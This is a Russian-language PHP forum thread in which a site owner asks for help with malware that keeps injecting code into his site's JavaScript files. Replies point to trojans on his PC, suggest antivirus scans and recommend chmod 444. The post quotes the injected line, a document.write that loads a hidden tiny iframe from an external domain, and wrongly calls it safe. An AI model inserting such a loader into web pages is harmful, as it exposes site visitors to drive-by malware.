Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Помогите разобраться с вирусом сайта!

 PHP.SU

 Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
Поиск в теме | Версия для печати
OgStyle
Отправлено: 23 Февраля, 2013 - 10:20:53
Post Id


Гость


Покинул форум
Сообщений всего: 86
Дата рег-ции: Март 2012  


Помог: 0 раз(а)
Ребята, я новичок в программировании но уже столкнулся с такой проблемой. Дело в том что за последнюю неделю мои сайты атакует какой то вирус то ли вредоносный код.

А случается это так. В те ява скрипты которые загружаются на сайте внедряется код такого характера:

П.С. не бойтесь он безопасен

CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2.  
  3. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://pometra.com/ehed.html?j=1634214></iframe>');
  4.  
  5.  


После чего он то ли сам толи как вставляется во все яваскрипты сайта. В результате антивирус ругается, а браузеры закрывают сайт. Мало того, это все проиндексировали гугл и яндекс и поставили ярлыки что сайт небезопасен, и теперь пользователи не заходят из поисковых систем.

Вопрос в том как и почему это происходит и какие рекомендации по устранению?

Вот те факты в которых я разобрался.:

1. Взлом сайта можно откинуть, так как вирус скорее всего через мой комп. Так как я его уже неделю назад удалил и он появился сегодня сново, да еще и на том сайте который я только начинаю разрабатывать. тоесть о нем никто ничего не знает.

2. Как только я его удалю он может появиться сново..

скажите как можно защитить и что предпринять?
 
 Top
MaxarR
Отправлено: 23 Февраля, 2013 - 10:28:41
Post Id



Новичок


Покинул форум
Сообщений всего: 6
Дата рег-ции: Апр. 2011  


Помог: 0 раз(а)
Выявлять проблему локально, т.е свой ПК. Трой, кейлоггер, etc.
 
 Top
NoPaper
Отправлено: 23 Февраля, 2013 - 10:30:11
Post Id



Посетитель


Покинул форум
Сообщений всего: 315
Дата рег-ции: Янв. 2012  
Откуда: Минск


Помог: 9 раз(а)
1.DrWeb Cureit'ом для начала проверь пк на вирусы.
2.Перебрaться на linux
 
 Top
OgStyle
Отправлено: 23 Февраля, 2013 - 10:39:11
Post Id


Гость


Покинул форум
Сообщений всего: 86
Дата рег-ции: Март 2012  


Помог: 0 раз(а)
А можно уточнение, я могу сделать так что бы запретить запись в яваскрипт? или это помешает работае сайта? яваскрипты только видь читаются
 
 Top
NoPaper
Отправлено: 23 Февраля, 2013 - 10:56:16
Post Id



Посетитель


Покинул форум
Сообщений всего: 315
Дата рег-ции: Янв. 2012  
Откуда: Минск


Помог: 9 раз(а)
Цитата:
А можно уточнение, я могу сделать так что бы запретить запись в яваскрипт?

Можно установить файлам атрибут только чтение (chmod 444), но для вируса, если он работает от имени админа, это не помеха
 
 Top
Поиск в теме | Версия для печати
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
  



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB